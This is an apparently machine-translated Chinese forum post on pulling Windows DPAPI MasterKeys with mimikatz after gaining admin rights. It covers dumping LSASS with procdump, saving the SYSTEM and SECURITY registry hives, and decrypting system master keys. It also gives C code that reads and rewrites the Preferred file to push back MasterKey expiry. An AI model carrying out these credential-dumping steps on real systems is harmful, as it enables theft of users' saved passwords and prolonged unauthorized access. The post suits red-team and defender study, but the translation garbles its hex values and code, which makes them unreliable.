剑道尘心 发布于2022年11月8日 分享 发布于2022年11月8日 0x00前言 对于Windows系统来说,用户的加密数据大多是通过DPAPI来存储的,如果要解密这些数据方案,就必须获取DPAPI对应的MasterKey。本文将介绍获得Windows系统权限后获取MasterKey的方法,并分析延长MasterKey有效期的首选文件格式。 0x01 简介 本文将介绍以下内容 基本概念 获得主密钥的方法 解析首选文件 修改主密钥过期时间 0x02 基本概念 DPAPI: 数据保护应用程序编程接口的全名 它被广泛用作Windows系统的数据保护接口。 主要用于保护加密数据,常见应用如: EFS文件加密 存储无线连接密码 Windows凭据管理器 微软公司出品的web浏览器 观点 网络电话 Windows CardSpace Windows保管库 谷歌浏览器 Master Key: 64字节,用于解密DPAPI blob,用用户登录密码、SID和16字节随机数加密,存储在主密钥文件中。 Master Key file: 二进制文件,可由用户登录密码解密以获得主密钥。 有两种类型: 位于% appdata % \ Microsoft \ protect \ % sid %的用户主密钥文件 主密钥文件,位于% windir % \ system32 \ Microsoft \ protect \ s-1-5-18 \ user中 Preferred文件: 它位于MasterKey文件的同级目录中,显示当前系统正在使用的Master Key及其到期时间。默认有效期为90天。 0x03 获得MasterKey的方法 本节主要介绍通过mimikatz获取MasterKey的方法。 1、在线获取 当前系统中的主密钥可以通过读取Lsass进程信息获得,可以获得多个主密钥文件对应的主密钥。 管理员权限: 权限:调试 sekurlsa:dpapi 如下图 2、离线读取 思路一: 使用procdump转储输出LSASS进程内存。 管理员权限: procdump.exe-accept EULA-ma lsass.exe lsass . DMP 使用mimikatz加载dmp文件并获取每个主密钥文件对应的主密钥: sekurlsa:minidump lsass.dmp sekurlsa:dpapi 思路二: 参考资料: https://github . com/gentili kiwi/mimikatz/wiki/how to-~-计划任务-凭据 1.复制注册表文件。 管理员权限: reg拯救HKLM\SYSTEM SystemBkup.hiv reg拯救HKLM\SECURITY SECURITY.hiv 2.从注册表文件中获取DPAPI_SYSTEM mimikatz日志' LSA dump:secrets/system:system bkup . HIV/security:security . HIV ' 如下图 DPAPI_SYSTEM中的用户哈希是c 2872 cf 6d 4 db 31 c 6 c 8d 33 be 49 b 482 e 78 e 7 ce 3,可用于解密位于% windir % \ system32 \ Microsoft \ protect \ s-1-5-18 \ user下的系统主密钥文件。 3.解密系统主密钥文件以获得主密钥 mimikatz ' DP API:master key/in:C:\ Windows \ System32 \ Microsoft \ Protect \ S-1-5-18 \ User \ 04ece 708-132d-4bf 0-a647-e 3329269 a 012/system:C 2872 cf 6d 6d 4d db 31 C 6 C 8d 33 beb 49 b 482 e 78 e 7 ce 3 ' 解密的主密钥是3e 9d 7 f 32 e 57933 EAD 318d 075 EFC 82325697d 87d 992 b 626 a 20 ab 5 f 0 ffba 6 f 073d 282 a 837 b 6 fa 058 ecff 36039 aa 944 e 04 B3 DFB 6666 ebace 44 aad 6 BFF 8789 ca 43 如下图 0x04 解析Preferred文件 它位于主密钥文件的同级目录中,显示系统当前正在使用的主密钥文件及其到期时间。 格式如下: typedef struct _ tagPreferredMasterKey { GUID guidMasterKey FILETIME ftCreated } PREFERREDMASTERKEY,* PPREFERREDMASTERKEY 例如c:\ users \ b \ appdata \ roaming \ Microsoft \ protect \ s-1-5-21-2884853959-2080156797-250722187-1002 \ preferred 如下图 前16个字节f6b 011 a 1 D7 B4 c 840 b 536 67 2a 82 88b 958对应于guid。调整格式后对应的文件是A111B 0 F6-B4 D7-40c 8-B536-672 a 8288 b958。 最后8个字节d008 9f7d11ed301对应到期时间。 对于表示时间的FILETIME,格式如下: typedef struct _FILETIME { DWORD dwLowDateTime DWORD dwHighDateTime } FILETIME,* PFILETIME 如果希望以每日时间格式显示,需要将FILETIME类型转换为SYSTEMTIME类型。 在程序的实现中,还要注意使用sscanf_s函数将字符串转换成DWORD格式。 可供参考的c代码如下: #包括 int main(void) { FILE * fp 无符号字符缓冲区[24]; fopen_s(fp,' Preferred ',' Rb '); fread(buf,1,24,FP); printf(' Data:'); for(int I=0;i24我) { printf('x',buf[i]); } fclose(FP); printf(' \ nguidmasterkey:xxxx-xx-xx-xx-xxxxxx\n',buf[3],buf[2],buf[1],buf[0],buf[5],buf[4],buf[7],buf[6],buf[8],buf[9],buf[10],buf[11],buf[12],buf[13],buf[14],buf[15]); char低日期时间[9],高日期时间[9]; sprintf_s(lowdatetime,9,'xxxx',buf[19],buf[18],buf[17],buf[16]); sprintf_s(highdatetime,9,'xxxx',buf[23],buf[22],buf[21],buf[20]); printf('dwLowDateTime:%s\n ',lowDateTime); printf('dwHighDateTime:%s\n ',highDateTime); 文件时间ftUTC 系统时间状态2 sscanf_s(lowDateTime,' %x ',ftutc。dwlowdatetime); sscanf_s(高日期时间,' %x ',ftutc。dwhighdatetime); FileTimeToSystemTime(ftUTC,stutc 2); printf(" "); printf('到期时间:%d-%d-%d %d:%d:%d\n ',stUTC2.wYear,stUTC2.wMonth,stUTC2.wDay,stUTC2.wHour,stUTC2.wMinute,stUTC2。w秒); 返回0; } 注: 也可以使用从文件中读读取(同国际组织)国际组织型数据来解决字符串倒序的问题 读取首选的文件,解析出当前系统正在使用的主密钥文件的全局唯一标识符和过期时间 测试如下图 0x05 修改MasterKey失效时间 修改思路: 输入过期时间,将过期时间转为FILETIME格式,替换首选的文件的FILETIME 可供参考的c代码如下: #包括 int main(void) { 系统时间ST={ 0 }; FILETIME ft={ 0 }; printf('[]开始更改到期时间.\ n’); 圣怀尔=2019; 圣月=12 st.wDay=30 圣胡尔=12 ST . WM分钟=30 st.wSecond=30 printf("[]新到期时间:%d-%d-%d %d:%d:%d\n ",第一年,第一个月,第一个日,第一个小时,第一分钟,第一秒钟); SystemTimeToFileTime(st,ft); printf('dwlowdatetime:x\n',ft.dwlowdatetime); printf('dwhighdatetime:x\n',ft.dwhighdatetime); 文件* fp fopen_s(fp,' Preferred ',' Rb '); fseek(fp,16,SEEK _ SET); fwrite(ft.dwLowDateTime,sizeof(int),1,FP); fwrite(ft.dwHighDateTime,sizeof(int),1,FP); fclose(FP); printf('[]更改成功. \ n '); 返回0; } 读取首选的文件,将过期时间设置为2019-12-30 12:30:30 修改后重新读取首选的文件信息,成功修改,如下图 0x06 小结 本文总结了在获得了Windows操作系统操作系统系统的权限后获得万能钥匙的方法,编写程序自动分析首选的文件格式并延长万能钥匙的有效期 留下回复 链接帖子 意见的链接 分享到其他网站 更多分享选项…
推荐的帖子